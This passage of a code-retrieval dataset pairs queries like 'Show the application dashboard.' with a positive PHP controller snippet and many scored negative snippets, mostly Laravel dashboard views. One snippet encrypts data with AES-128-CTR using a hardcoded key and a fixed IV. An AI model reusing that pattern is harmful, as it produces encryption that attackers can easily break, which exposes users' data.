Math_BigInteger($binKey, 256);\r\n\r\n\t\t$this->prvKeyMode = 0;\r\n\t\t$this->keySize = strlen(bin2hex($this->modulus->toBytes()))/2*8;\r\n\t}", "title": "" }, { "docid": "0790a62744374613ffa28dc436702b4b", "score": "0.45669502", "text": "function Encriptar($strxd){\n $ciphering = \"AES-128-CTR\"; \n $iv_length = openssl_cipher_iv_length($ciphering); \n $options = 0; \n $encryption_iv = '0111110000111111'; \n $encryption_key = \"00111111x01011111x00111111\"; \n \n $encryption = openssl_encrypt($strxd, $ciphering, \n $encryption_key, $options, $encryption_iv); \n \n return $encryption; \n }", "title": "" } ]
2e640b2819e0e2483ca2c8015eacce77
Show the application dashboard.
[ { "docid": "cf8bab8cce5d903995ee68f2e48d320b", "score": "0.0", "text": "public function index()\n {\n $company_id=companyId();\n if ($company_id>0) {\n $company=Company::find($company_id);\n $jobs=$company->jobs()->get();\n }else{\n $jobs=Job::all();\n }\n \n $pending_leave_requests=LeaveRequest::where('status',0)->whereYear('start_date', date('Y'))->count();\n $date=date('Y-m-d');\n $yesterday=date('Y-m-d', strtotime('yesterday'));\n $lastmonth=date('m', strtotime('first day of previous month'));\n $absentees= User::whereDoesntHave('attendances', function ($query) use ($date) {\n $query->whereDate('date', $date);\n\n })->count();\n // $lt=User::whereHas('attendancedetails', function ($query) use ($date) {\n // $query->whereDate('date', $date);\n\n // })->count();\n $usersPresent=User::whereHas('attendances', function ($query) use ($date) {\n $query->whereDate('date', $date);\n })->count();\n $yesterday_absentees= User::whereDoesntHave('attendances', function ($query) use ($yesterday) {\n $query->whereDate('date', $yesterday);\n })->count();\n $yesterday_usersPresent=User::whereHas('attendances', function ($query) use ($yesterday) {\n $query->whereDate('date', $yesterday);\n })->count();\n $lates=0;\n $yesterday_lates=0;\n $earlys=0;\n $yesterday_earlys=0;\n $first_clock_in='';\n $diff=0;\n $wp=WorkingPeriod::all()->first();\n \n $users=User::whereHas('attendances', function ($query) use ($date) {\n $query->whereDate('date', $date);\n })->get();\n foreach ($users as $user) {\n \n $first_clock_in=Attendance::where(['emp_num'=>$user->emp_num,'date'=>$date])->first()->attendancedetails()->orderBy('clock_in', 'asc')->first()->clock_in;\n $first_clock_in_yesterday=Attendance::where(['emp_num'=>$user->emp_num,'date'=>$yesterday])->first()->attendancedetails()->orderBy('clock_in', 'asc')->first()->clock_in;\n \n \n $diff=$this->time_diff($first_clock_in,$wp->sob);\n $yesterday_diff=$this->time_diff($first_clock_in_yesterday,$wp->sob);\n if ($diff>0) {\n $earlys++;\n } else {\n $lates++;\n }\n if ($yesterday_diff>0) {\n $yesterday_earlys++;\n } else {\n $yesterday_lates++;\n } \n\n }\n $last_month_early_users=\\App\\TimesheetDetail::orderBy('average_first_clock_in','asc')->take(5)->get();\n $last_month_late_users=\\App\\TimesheetDetail::orderBy('average_first_clock_in','desc')->take(5)->get();\n $companies=Company::all();\n return view('demo_home',compact('companies','absentees','usersPresent','yesterday_absentees','yesterday_usersPresent','earlys','lates','yesterday_earlys','yesterday_lates','last_month_early_users','last_month_late_users','pending_leave_requests','jobs'));\n }", "title": "" } ]
[ { "docid": "653b04ae24aba7082b1d90d218c052b7", "score": "0.83780664", "text": "static function dashboard () {\n\t\tViewer::view('app_dashboard');\n\t}", "title": "" }, { "docid": "b1407e8ebb538a9777ca010e79cde870", "score": "0.77884513", "text": "public function dashboard()\n {\n $this->view(\"dashboard\");\n }", "title": "" }, { "docid": "7dc0ba93eb0284d411a844641bf71d3c", "score": "0.77410656", "text": "public function dashboard() {\n\t\t$data = [\n\t\t\t'headline'\t\t=> 'Dashboard'\n\t\t];\n\t\t$this -> render -> setMeta([\n\t\t\t'title' \t\t=> 'Welcome to Dashboard',\n\t\t\t'pageID'\t\t=> 'dashboard'\n\t\t])\t\t\n\t\t-> setActivePage(\t\t\t\n\t\t\t'nav-link-dashboard'\n\t\t)\n\t\t-> renderView(\t\t\t\n\t\t\t$data,\n\t\t\t'lay_dashboard_default',\n\t\t\t[\t\n\t\t\t\t'views/view_dashboard'\n\t\t\t]\n\t\t);\n\t}", "title": "" }, { "docid": "b1300fc2f8592f50910a350415e73b59", "score": "0.7612535", "text": "public function dashboard() {\n $this->admin->generateNewPages();\n $title = 'Admin - Dashboard';\n $options = [];\n $content = view('admin.dashboard', $options)->render();\n return Admin::view($content, $title);\n }", "title": "" }, { "docid": "2e8d3a3073082a4138c9a0d494e786cb", "score": "0.753722", "text": "public function dashboard()\n {\n return view('panel::home', [\n 'title' => 'Dashboard',\n ]);\n }", "title": "" }, { "docid": "6d94fe7d0640ffc6c4a772a341ce12d6", "score": "0.7526521", "text": "public function index()\n {\n $this->setCurrentSidebarItem('auth::authorization.dashboard');\n $this->addBreadcrumbParent();\n\n $this->selectMetrics(config('arcanesoft.auth.metrics.dashboard.index', []));\n\n return $this->view('auth.dashboard');\n }", "title": "" }, { "docid": "3794c35f76ad7739b45091ce1e8bafb1", "score": "0.7487806", "text": "public function showDashboard()\n {\n return \\View::make('user.dashboard');\n }", "title": "" }, { "docid": "fbb9a89db3a172081516e066dcd9d742", "score": "0.7486179", "text": "public function index()\n\t{\n return $this->show('dashboard', $this->data);\n\t}", "title": "" }, { "docid": "38b0e78882850933475b7d4ba2226e2c", "score": "0.7455265", "text": "public function dashboard()\n {\n $this->vista->index();\n }", "title": "" }, { "docid": "27f6baab1e20efc9e14e533e60af78e5", "score": "0.7438866", "text": "public function dashboard()\n {\n return view('admin.dashboard');\n }", "title": "" }, { "docid": "63904024efd6a74517462bb9731a5675", "score": "0.74259526", "text": "public function index()\n {\n return view('panel.dashboard')\n ->with('pageTitle', __('Dashboard'));\n }", "title": "" }, { "docid": "63d9c26e838d3685075d8a729a8caf8d", "score": "0.7425517", "text": "public function dashboard()\n\t{\n\n\t\treturn View::make('account.dashboard');\n\t}", "title": "" }, { "docid": "e7990659b5196e4e7f9026710b6d4cc4", "score": "0.7416365", "text": "public function index()\n {\n return view('client::dashboard');\n }", "title": "" }, { "docid": "7918c29240b8b540ffeb5c51a35b0966", "score": "0.7406025", "text": "public function dashboard()\n\t{\n\t\treturn view('templates/dashboard');\n\t}", "title": "" }, { "docid": "bf30270bbdc2dba632fece51e28de922", "score": "0.7391317", "text": "public function index() {\n if (!Shinobi::can('show.dashboard', false))\n return view('layouts.unauthorized', ['message' => 'view the dashboard']);\n\n Widget::group('dashboard.main')->addWidget('dashboard.Welcome');\n Widget::group('dashboard.left')->addWidget('dashboard.Welcome');\n Widget::group('dashboard.right')->addWidget('dashboard.Welcome');\n\n /**\n * Add additional widgets.\n *\n * Usage:\n * Hook::add('widgets.dashboard', $group) {\n * $group->addWidget('foo');\n * }\n *\n * @since 0.1.0\n *\n * @param WidgetGroup\n */\n foreach (['main', 'left', 'right'] as $position)\n Hook::run('widgets.dashboard.'.$position, Widget::group('dashboard.'.$position));\n\n return view('dashboard');\n }", "title": "" }, { "docid": "0e8afcac728ca73b93f25e487c7aedab", "score": "0.7378528", "text": "private function dashboard(){\n $this->filter = array('');\n \n $this->namespace = 'dashboard';\n $this->pageTitle = 'Dashboard';\n $this->bodyClass = 'lists-dashboard';\n $this->pageClass = 'lists-dashboard'; \n $this->page = 'templates/contents/back/'.$this->namespace;\n \n $this->template_display();\n \n }", "title": "" }, { "docid": "1d8210e7090aca45b3cb14c55c9c4a24", "score": "0.73356056", "text": "public function index()\n {\n if ( Shinobi::can( config('watchtower.acl.watchtower.index', false) ) ) {\n $links = config('watchtower.dashboard');\n return view( config('watchtower.views.layouts.dashboard') )\n ->with('dashboard', $links)\n ->with('title', config('watchtower.site_title') );\n }\n\n return view( config('watchtower.views.layouts.unauthorized'), [ 'message' => 'view the dashboard' ]);\n }", "title": "" }, { "docid": "366a3b4ed0e7f276bcd8f9c473f48d7a", "score": "0.7328563", "text": "public function dashboard()\n\t{\n\t\t$this->admin_model->admin_logged_in();\n\n\t\t$data = array(\n\t\t\t'title' => 'Dashboard',\n\t\t\t'content' => 'dashboard',\n\t\t\t'common' => $this->admin_model->load_common_data(),\n\t\t\t'active' => ''\n\t\t);\n\n\t\t$this->load->view('common/admin_template', $data);\n\t}", "title": "" }, { "docid": "ae612bcc4869438303947eb033fba2df", "score": "0.7314036", "text": "public function dashboard()\n { \n\t \n\t\treturn Theme::view('user::dashboard');\n }", "title": "" }, { "docid": "644b18d1c88d5089fd56f57f67796a15", "score": "0.7295234", "text": "public function index()\n {\n $this->global['pageTitle'] = 'Adminduk : Dashboard';\n \n $this->loadViews(\"dashboard\", $this->global, NULL , NULL);\n }", "title": "" }, { "docid": "91b585b3b0f28a522f3a1e32cc8e2bc6", "score": "0.7285959", "text": "public function index()\n {\n $entries = Entry::all();\n // Show the admin dashboard (only logged in users can access it)\n return view('dashboard', compact('entries'));\n }", "title": "" }, { "docid": "29a58a57216b831f1f28d6b55ee68ece", "score": "0.72803825", "text": "public function index()\n {\n $this->global['pageTitle'] = ': Dashboard';\n \n $this->loadViews(\"admin/dashboard\", $this->global, NULL , NULL);\n }", "title": "" }, { "docid": "29a58a57216b831f1f28d6b55ee68ece", "score": "0.72803825", "text": "public function index()\n {\n $this->global['pageTitle'] = ': Dashboard';\n \n $this->loadViews(\"admin/dashboard\", $this->global, NULL , NULL);\n }", "title": "" }, { "docid": "9e1ae44b7790c6859244be6877e8b10a", "score": "0.72742224", "text": "public function showDashboard(){\n\n return view('admin/dashboard');\n }", "title": "" }, { "docid": "a7ce310040f4f5b7199318f86c1e7a7f", "score": "0.7273887", "text": "public function index()\n {\n return view('dashboard.main');\n }", "title": "" }, { "docid": "5a4f7f7db3485b143d54307eaa335cb4", "score": "0.7263621", "text": "public function dashboard()\n\t{\n $this->authorize('isAdmin');\n\n\t\treturn view ('admin/dashboard');\n\t}", "title": "" }, { "docid": "6b5f967abdcdd97e2223da77dc262bf9", "score": "0.7260494", "text": "public function getDashboard()\n\t{\n\t\treturn view('admin.dashboard');\n\t}", "title": "" }, { "docid": "8cd0a13f3368c82f274273b3a5634a62", "score": "0.7251768", "text": "public function index()\n {\n return view('admin.dashboard');\n }", "title": "" }, { "docid": "8cd0a13f3368c82f274273b3a5634a62", "score": "0.7251768", "text": "public function index()\n {\n return view('admin.dashboard');\n }", "title": "" }, { "docid": "8cd0a13f3368c82f274273b3a5634a62", "score": "0.7251768", "text": "public function index()\n {\n return view('admin.dashboard');\n }", "title": "" }, { "docid": "8cd0a13f3368c82f274273b3a5634a62", "score": "0.7251768", "text": "public function index()\n {\n return view('admin.dashboard');\n }", "title": "" }, { "docid": "8cd0a13f3368c82f274273b3a5634a62", "score": "0.7251768", "text": "public function index()\n {\n return view('admin.dashboard');\n }", "title": "" }, { "docid": "a952e5ecf1a9902718f5dbb955fd204e", "score": "0.725072", "text": "public function dashboard()\n\t{\n\t\t$this->LogoutCheck();\n\n\t\t$data['title'] = 'Dashboard';\n\t\t$data['page'] = 'dashboard';\n\n\t\t$this->load->view('layouts/master', $data);\n\t}", "title": "" }, { "docid": "4f692545c4f494cf661e7d389a31cf5f", "score": "0.7225958", "text": "protected function get_dashboard()\n\t{\n\t\treturn View::make('dashboard');\n\t}", "title": "" }, { "docid": "e415f6e37f389c610f17c01bf6428c9c", "score": "0.72248", "text": "public function index()\n {\n $this->dashboard();\n }", "title": "" }, { "docid": "50ae226c7a99df4dd25c0ab50b5c8e57", "score": "0.7216838", "text": "public function index()\n\t{\n\t\treturn View::make('admin.dashboard.index');\n\t}", "title": "" }, { "docid": "3da93b522d7988cde6214223d2184262", "score": "0.7210967", "text": "public function getDashboard()\n\t{\n\t\t\n\t\treturn view('dashboard');\n\t}", "title": "" }, { "docid": "e60851991755ad0e8358e5241eddc2bf", "score": "0.7207055", "text": "public function index()\n {\n $this->global['pageTitle'] = 'Dashboard - '.APP_NAME;\n $this->global['pageMenu'] = 'Dashboard';\n $this->global['contentHeader'] = 'Dashboard';\n $this->global['contentTitle'] = 'Welcome to E-Logistic';\n $this->global ['role'] = $this->role;\n $this->global ['name'] = $this->name;\n $this->global ['repo'] = $this->repo;\n\n $data['logtime'] = tgl_indo(date(\"Y-m-d\"));\n \n $this->loadViews('front/v_dashboard', $this->global, $data, NULL);\n }", "title": "" }, { "docid": "6a8acd7e45b75c25204f6e71e524ea9f", "score": "0.71922004", "text": "public function dashboard()\n {\n\t\treturn view('company.dashboard');\n\t}", "title": "" }, { "docid": "58aa8b7db11df6b9cae7ef3e4df32131", "score": "0.71903783", "text": "public function dashboard() {\n $this->load->view('admin/admin_dash_main');\n }", "title": "" }, { "docid": "407d38062c19f16299ce43616702d8e1", "score": "0.7182334", "text": "function index()\n\t{\n\techo $this->render('views/dashboard.php', ['pageTitle' => 'Dashboard']);\n\t}", "title": "" }, { "docid": "7dfdc2cd7c108a794fc7bb15c6bf7fbf", "score": "0.71795243", "text": "public function index()\n {\n return view('admin.dashboard')->with(['page'=>'dashboard']);\n }", "title": "" }, { "docid": "078066c91854b1c24cdb00c2309dc331", "score": "0.7179255", "text": "public function index()\n\t{\n\t\treturn view('dashboard');\n\t}", "title": "" }, { "docid": "45cc9c755c1a6ced0fe04bd68c649d03", "score": "0.71749306", "text": "public function index()\r\n {\r\n $this->admin_dashboard();\r\n }", "title": "" }, { "docid": "ba6641de8c662e52e6ba35d9956d776d", "score": "0.7167636", "text": "public function dashboard()\n { \n ativaModulo('BAM');\n ativaEmpresa(); \n\n return view('bam.dashboard');\n }", "title": "" }, { "docid": "a2f892eb08bec0ff3b4fc179d038b497", "score": "0.71643597", "text": "public function indexAction()\n\t{\n\t\treturn view('pages.dashboard')->with('page', 'Dashboard');\n\t}", "title": "" }, { "docid": "94047ca40154dad6d793b8b07eef92ff", "score": "0.715862", "text": "public function index()\n {\n $data = [\n\n ];\n return view('main.dashboard', $data);\n }", "title": "" }, { "docid": "8a2ab318f16ea56254dc4521e365edbc", "score": "0.71532935", "text": "public function dashboard() {\r\n\t\tadd_menu_page(\r\n\t\t\t__( 'Dashboard', 'wpmudev_vids' ),\r\n\t\t\t__( 'Dashboard', 'wpmudev_vids' ),\r\n\t\t\t'wpmudev_videos_manage_settings',\r\n\t\t\t'wpmudev-videos',\r\n\t\t\tarray( Views\\Admin::get(), 'dashboard' ),\r\n\t\t\tViews\\Admin::get()->get_menu_icon()\r\n\t\t);\r\n\t}", "title": "" }, { "docid": "a4900a0b74b617f3e5874f71cb554601", "score": "0.7152731", "text": "public function actionAdmin() {\n $widgets = array();\n\t\t$this->render('dashboard', array('widgets'=>$widgets));\n\t}", "title": "" }, { "docid": "07ef7a1725d66374a2c31db0e6a57885", "score": "0.7140155", "text": "public function dashboard()\n {\n $title = 'Dashboard';\n $header = 'Dashboard';\n return view('admin.dashboard', compact('title', 'header'));\n }", "title": "" }, { "docid": "6c8859fb0177ce516b124e70426bf4be", "score": "0.7134916", "text": "public function index()\n {\n //\n return view('content.dashboard', ['title' => 'Dashboard']);\n }", "title": "" }, { "docid": "b4619eed10faec98a9ca13d8e6b5b182", "score": "0.71344763", "text": "public function dashboard() {\n return view('admin.pages.dashboard');\n\n }", "title": "" }, { "docid": "acf371678f53c6e82d1d68ee82946b67", "score": "0.7133401", "text": "public function index()\n\t{\n\t\t$this->dashboard();\n\t}", "title": "" }, { "docid": "32f5c7f08cd3140384a4fa4f6ec68c30", "score": "0.7132424", "text": "public function show()\n {\n $user = Auth::user();\n return view('main.dashboard',\n ['user'=>$user]\n );\n }", "title": "" }, { "docid": "86de0245746727e17e778424732c92e1", "score": "0.71273726", "text": "public function index()\n {\n return view('backEnd.Dashboard');\n }", "title": "" }, { "docid": "812838b3b0fee02be0c5e29c4782c07c", "score": "0.71217763", "text": "public function dashboard()\n {\n return self::response(\n array('backends' => self::backends()),\n array(\n 'template' => 'design:dashboard/dashboard.tpl',\n 'left_menu' => 'design:dashboard/left_menu.tpl',\n 'pagelayout' => static::LAYOUT\n )\n );\n }", "title": "" }, { "docid": "973ea3aa8664b727a57e27173de2ad47", "score": "0.710923", "text": "public function index()\n {\n //\n \n\n return view('dashboard.app.index');\n }", "title": "" }, { "docid": "05ca9bde8261a5cfd770dccf2cfc812e", "score": "0.7105365", "text": "public function dashboard()\n {\n // check user if already login\n\n return view('dashboard');\n }", "title": "" }, { "docid": "213e176c9d9befde9d95590052be400f", "score": "0.7100173", "text": "public function dashboard(){\n return view('admin.dashboard');\n }", "title": "" }, { "docid": "213e176c9d9befde9d95590052be400f", "score": "0.7100173", "text": "public function dashboard(){\n return view('admin.dashboard');\n }", "title": "" }, { "docid": "e484b53fb890e2c7bceabbc209e8eb45", "score": "0.7095731", "text": "public function index()\n {\n $title = 'Dashboard';\n return view('admin.dashboard.index', compact('title'));\n }", "title": "" }, { "docid": "4a0096d6458869e16f6a9d9d12036d8c", "score": "0.7081826", "text": "public function admin_dashboard() {\n\t\t\tinclude TVE_DASH_PATH . '/inc/smart-site/views/admin/templates/dashboard.phtml';\n\t\t}", "title": "" }, { "docid": "1563f2bf90a59132109446388bb0ef05", "score": "0.7076479", "text": "public function index()\n {\n return view('admin.dashboard.home');\n }", "title": "" }, { "docid": "45b56971f738f9fbe8694c186f0b83e7", "score": "0.7071161", "text": "public function getDashboard() {\n $user = DB::table('users')->get();\n\n //admin dashboard.\n $title = 'Dashboard.';\n\n return View('admin.dashboard', compact('user'))\n ->with('title', $title);\n }", "title": "" }, { "docid": "da0f3f0e510bddf86ca4a0902d2dc1a8", "score": "0.7065131", "text": "public function dashboard()\n {\n $this->view('templates/pelanggan/header');\n $this->view('home/index');\n $this->view('templates/pelanggan/footer');\n }", "title": "" }, { "docid": "0b8d6e295ae556b5767208a427deb18b", "score": "0.7063297", "text": "public function dashboard()\n {\n if ( auth()->user() && auth()->user()->can('view_adminpanel') ) {\n return view('dashboard.adminpanel.welcome');\n } else {\n return view('dashboard.userpanel.welcome');\n }\n }", "title": "" }, { "docid": "804cdaf959e82bb24ca4f14d0bed8611", "score": "0.7056828", "text": "public function main()\n {\n $data = [\n 'indexName' => 'dashboard-index',\n 'title' => 'Dashboard',\n 'breadCrumb' => $this->breadCrumb(1, 1),\n 'accessRight' => [ 'id' => 1, 'level' => 1 ]\n ];\n return view('dashboard.main', $data);\n }", "title": "" }, { "docid": "3d3142e0cf202a4ddf3a24a3dbfc86af", "score": "0.7053532", "text": "public function dashboard() : View\n\t{\n\t\treturn view('dashboard');\n\t}", "title": "" }, { "docid": "de61e0b3929ce624dcfa3f47318f935e", "score": "0.7042322", "text": "public function index()\n {\n $configKeyword = $this->configKeyword->random();\n $user = $this->interModel->setId(auth()->user()->id);\n\n return view('accounts.dashboard-1', compact('user','configKeyword'));\n }", "title": "" }, { "docid": "bb7c027894a83b656041153db7827d3e", "score": "0.70364237", "text": "public function index()\n {\n return view('masterdata.dashboard');\n }", "title": "" }, { "docid": "4c9f44b8bf5af99cc2198e83811bfe90", "score": "0.70349854", "text": "public function getDashboard() {\n return view('admin.dashboard', [\n 'chefs' => $this->repository->chef->getChsfsByStatus(ChefConstants::STATUS_AGUARDANDO_APROVACAO),\n 'menus' => $this->repository->menu->getMenusPorStatus(MenuConstants::STATUS_AGUARANDO_APROVACAO),\n 'cursos' => $this->repository->curso->getCursosPorStatus(CursoConstants::STATUS_AGUARANDO_APROVACAO),\n 'avaliacoes' => $this->repository->avaliacao->getAvaliacaoesPendentes()\n ]);\n }", "title": "" }, { "docid": "b20d02343ad24e2ce727325459d33c7a", "score": "0.7033809", "text": "public function dashboard()\n {\n return $this->get('/api/dashboard/');\n }", "title": "" }, { "docid": "674072fff6c48cbf982e7d8aa4736017", "score": "0.7032684", "text": "public function index()\n {\n $users = User::all();\n $droids = Droid::all();\n $events = Event::all()->where('date', '>=', Carbon::now());\n return view('admin.dashboard', compact('users', 'droids', 'events'));\n }", "title": "" }, { "docid": "2c7008646c1af4c85c2c9fb1b3db40e7", "score": "0.7021713", "text": "function Index(){\n\t\t$this -> view -> title = 'Dashboard';\n\t\t$this -> view -> render ('dashboard/index');\n\t}", "title": "" }, { "docid": "379fbe242c33bb5af8632bd33bc4db7b", "score": "0.7017854", "text": "public function index()\n { \n $this->data['meta'] = array(\n 'title' => Lang::get('meta.dashboard_title')\n );\n\n return View::make('dashboard.index')->with('meta', $this->data['meta']);\n }", "title": "" }, { "docid": "2b20a4e25b8ca061cf7d21e2b79bddc2", "score": "0.700917", "text": "public function index()\n {\n return view('dashboard');\n }", "title": "" }, { "docid": "2b20a4e25b8ca061cf7d21e2b79bddc2", "score": "0.700917", "text": "public function index()\n {\n return view('dashboard');\n }", "title": "" }, { "docid": "2b20a4e25b8ca061cf7d21e2b79bddc2", "score": "0.700917", "text": "public function index()\n {\n return view('dashboard');\n }", "title": "" }, { "docid": "2b20a4e25b8ca061cf7d21e2b79bddc2", "score": "0.700917", "text": "public function index()\n {\n return view('dashboard');\n }", "title": "" }, { "docid": "2b20a4e25b8ca061cf7d21e2b79bddc2", "score": "0.700917", "text": "public function index()\n {\n return view('dashboard');\n }", "title": "" }, { "docid": "2b20a4e25b8ca061cf7d21e2b79bddc2", "score": "0.700917", "text": "public function index()\n {\n return view('dashboard');\n }", "title": "" }, { "docid": "2b20a4e25b8ca061cf7d21e2b79bddc2", "score": "0.700917", "text": "public function index()\n {\n return view('dashboard');\n }", "title": "" }, { "docid": "cd4cbc35f226b66c113ef672a44e2797", "score": "0.7008934", "text": "public function index() {\n\t\t$this->set('title_for_layout', 'Dashboard');\n\t\t$this->set('loggedinUser', $this->loggedinUser);\n\t}", "title": "" }, { "docid": "432f0aedcdac68d7cba003bc333adb60", "score": "0.700846", "text": "public function index()\n {\n $details = $this->detailsDashboard();\n return view('welcome',compact('details'));\n }", "title": "" }, { "docid": "5c7c9eecd786c803c7d13144d0bd8667", "score": "0.7003179", "text": "public function index()\n {\n $this->global['pageTitle'] = 'Amey Trading : Cargo Operations Management System';\n \n $this->loadViews(\"dashboard\", $this->global, NULL , NULL);\n }", "title": "" }, { "docid": "334e8092dda0a5e417b0e2f126b42d70", "score": "0.7000623", "text": "public function index()\n {\n $menu = \"dashboard\";\n return view('backend.pages.dashboard', compact('menu'));\n }", "title": "" }, { "docid": "bc07d77c01841229104351f909f53921", "score": "0.6992525", "text": "function index()\n {\n\t\t$this->dashboard();\n\t}", "title": "" }, { "docid": "d3ee6c4452c9a12387a1373432cf07c4", "score": "0.69905925", "text": "public function index()\n {\n return view('pages.dashboard');\n }", "title": "" }, { "docid": "d3ee6c4452c9a12387a1373432cf07c4", "score": "0.69905925", "text": "public function index()\n {\n return view('pages.dashboard');\n }", "title": "" }, { "docid": "d3ee6c4452c9a12387a1373432cf07c4", "score": "0.69905925", "text": "public function index()\n {\n return view('pages.dashboard');\n }", "title": "" }, { "docid": "68e4af3c3e6329149e1bdc8ff6eff5a9", "score": "0.6987158", "text": "public function index()\n\t{\n\t\treturn view('admin.dashboard')\n\t\t\t->with('promos', Promo::all())\n\t\t\t->with('products', Product::all());\n\t}", "title": "" }, { "docid": "601e3cefae20bf7a64fb6e988caedeac", "score": "0.69844925", "text": "public function index()\n {\n return view('layouts.dashboard');\n }", "title": "" }, { "docid": "63c55a57c512e74ad3d76adf47d80624", "score": "0.6983452", "text": "public function indexAction()\n {\n return $this->render('UMRAMemberBundle:Dashboard:index.html.twig', []);\n }", "title": "" }, { "docid": "74a624b39c1aef39092ce80d7701f072", "score": "0.6982562", "text": "public function index()\n {\n return view('dashboard/dashboard');\n }", "title": "" }, { "docid": "c375fbfedf5982ad4b35bd9f0047ccc3", "score": "0.69791013", "text": "public function index()\n {\n if(!Gate::allows('isAdmin')){\n abort(404,\"Sorry, You can do this actions\");\n }\n\n return view('admin.dashboard');\n }", "title": "" }, { "docid": "2c83e126be4da610e02b5a3281ed666e", "score": "0.6977184", "text": "public function dashboard()\n {\n $this->data['title'] = trans('gpibarra::laraveladminlte.dashboard'); // set the page title\n\n return view('LaravelAdminLTE::dashboard', $this->data);\n }", "title": "" }, { "docid": "d61d8f9b197d6a86f8be02de2ae300a0", "score": "0.69741833", "text": "public function index(){\n return view('admin.dashboard');\n }", "title": "" }, { "docid": "6c52bf57c006dce9e7d54107e52ca776", "score": "0.6973914", "text": "public function index()\n {\n $this->initIndex();\n $this->template\n ->title(\"Dashboard\")\n ->set_layout('main')\n ->build('index', $this->data);\n }", "title": "" }, { "docid": "5b5fb50ce8928a6200a96718b69adb19", "score": "0.6973243", "text": "public function index()\n {\n //get user's master group ID\n $role = Auth::user()->master_user_group_id;\n\n $module = $this->dashboard_module->getDashboardModuleId(Auth::user()->id);\n if($module != null)\n {\n $module_id = $module->module_id;\n }else{\n $module_id = null;\n }\n\n return view('dashboard.dashboard_info')->with(array('page_title' => 'Dashboard', 'role' => $role, 'module_id'=>$module_id));\n }", "title": "" }, { "docid": "1c24698dad9c6df4293d43524e7b4c74", "score": "0.69703025", "text": "public function index()\n {\n //\n return View::make('dashboard');\n }", "title": "" }, { "docid": "a5079cadf7915cc20403e57cb3b67430", "score": "0.69624466", "text": "public function actionDashboard()\n{\n\n\t$this->render('dashboard_estadistica');\n}", "title": "" } ]
a6d28bcfc1f5f0e5997ec3c010217bbe
Update the specified resource in storage.
[ { "docid": "10e146ff759928e3698be04d271df973", "score": "0.0", "text": "public function update(Request $request, $id)\n\t\t{\n\t\t\t\t//\n\t\t}", "title": "" } ]
[ { "docid": "ae90a700efd6cf3cd7c51c1c4442503a", "score": "0.7658553", "text": "public function update(ResourceInterface $resource);", "title": "" }, { "docid": "d6a508508d13bb02f2a247e9bf196f78", "score": "0.71877676", "text": "function update ( $id, $resource ) {\r\n\r\n }", "title": "" }, { "docid": "8466495927f3bd478b5fd2d917f45f08", "score": "0.7099208", "text": "public function update(Request $request, Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "b66d45ed275220a344f3f222ce4980b5", "score": "0.70558053", "text": "public function update(Request $request, Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "9a55d4f96f94897978c13d34337c1901", "score": "0.6808637", "text": "public function update(StoreResource $request, $id)\n {\n $input = $request->all();\n \n $resource = Resource::find($id);\n \n $resource->fill($input);\n \n $resource->save();\n\n // redirect\n Session::flash('message', 'Successfully saved resource!');\n return redirect('resources');\n }", "title": "" }, { "docid": "cce47cfb911f4e7678d10bb61eec6271", "score": "0.6523108", "text": "public function update(Request $request, Resource $resource)\n {\n $this->validate($request, [\n 'name' => 'required|max:255',\n ]);\n \n $resource->update($request->except(['_method', '_token']));\n \n flash('El recurso fue actualizado');\n \n return redirect()->route('resource.index');\n }", "title": "" }, { "docid": "1414dc19f0f4ccb3b9d9b0c2f9754c1a", "score": "0.64248925", "text": "public function update(Request $request, Storage $storage)\n {\n //\n $storage->update($request->all());\n\n return redirect()->route('storage.index');\n }", "title": "" }, { "docid": "8b641f5e241101e64f479c764289bfd7", "score": "0.64144814", "text": "public function update(Request $request, Resource $resource)\n {\n\n try {\n $this->validate($request, [\n 'name' => 'required|string|unique:resources,name,' . $resource->id,\n 'group' => 'required|exists:groups,id',\n \"description\" => \"nullable|string\"\n ]);\n $resource->name = $request->name;\n $resource->group_id = $request->group;\n $resource->description = $request->description;\n $resource->save();\n session()->flash('flash_success', 'Updated Successfully.');\n return Redirect::route('resources.index');\n } catch (ValidationException $exception) {\n return Redirect::back()->withErrors($exception->errors())->withInput();\n } catch (Exception $e) {\n session()->flash('flash_error', 'Something went wrong');\n return $e->getMessage();\n return Redirect::back();\n }\n }", "title": "" }, { "docid": "d131fb800138c5d8889803afda8ecf7b", "score": "0.62923384", "text": "public function updateResource(){\n\t\t$this->setTitle('Update resource');\n $this->name = $_POST['name'];\n $this->id = $_POST['resource_id'];\n $this->rate = $_POST['rate'];\n $this->description = $_POST['description'];\n $this->type = $_POST['type'];\n $this->loadModel('resource');\n\t\t$this->added_resource = $this->model->updateResources($this->id,$this->name,$this->rate,$this->description,$this->type);\n $this->render('resource/_bewerkt.tpl');\n\t}", "title": "" }, { "docid": "6644414d1c8deb86d17216b9f77e38da", "score": "0.62589455", "text": "public function updateStream($path, $resource, $config = null);", "title": "" }, { "docid": "35958bbf8b0dca0d5dcadddf00962ef1", "score": "0.6193939", "text": "public function update() {\n \t\t//Does the Resource object have an id?\n if ( is_null( $this->id ) ) trigger_error (\"Resource::update(): Attempt to update an Resource object that does not have its ID property set.\", E_USER_ERROR );\n\n\t\t//Update the Resource\n $conn = new mysqli( $DB_HOST, $DB_USERNAME, $DB_PASSWORD, $DB_NAME );\n $sql = \"UPDATE resources SET title=:?, summary=?, url=?, content=?, category=?, is_free=?, is_featured=?, is_favorite=?, date_created=? WHERE id = ?\";\n $st = $conn->prepare ( $sql );\n $st->bind_param( 'sssssiiisi', $this->title, $this->summary, $this->url, $this->content, $this->category, $this->is_free, $this->is_featured, $this->is_favorite, date(\"Y-m-d H:i:s\"), $this->id );\n\n $st->execute();\n $conn = null;\n}", "title": "" }, { "docid": "27fdfad09c0210d824e7b3fabe4e253e", "score": "0.6178334", "text": "public function update(Request $request, $id)\n {\n // if(Auth::user()->admin){\n $storage = Storage::findOrFail($id);\n $storage->name = $request->name;\n $storage->address = $request->address;\n $storage->save();\n Session::flash('success','You successfully updated storage!');\n// }\n// else{\n// Session::flash('error','You do not have enough permission!');\n// }\n return redirect()->route('storage.index');\n }", "title": "" }, { "docid": "a25688f30a6b62a181559b84d042105c", "score": "0.6148197", "text": "public function update(Request $request, $resource)\n {\n $this->authorize('update', $resource);\n\n $resource->load($this->with);\n\n $this->form()->setModel($resource)->save(function($data,$form) use (&$resource){\n $general = $data->pull('general'); \n $relations = $data->get('relations');\n\n $admin = \\Auth::guard('admin')->user();\n \n $resource->forceFill($general->toArray()); \n\n $this->event('updating', $resource); \n\n $resource->save(); \n\n $this->syncRelations($relations, $resource); \n\n $this->event('updated', $resource); \n\n return 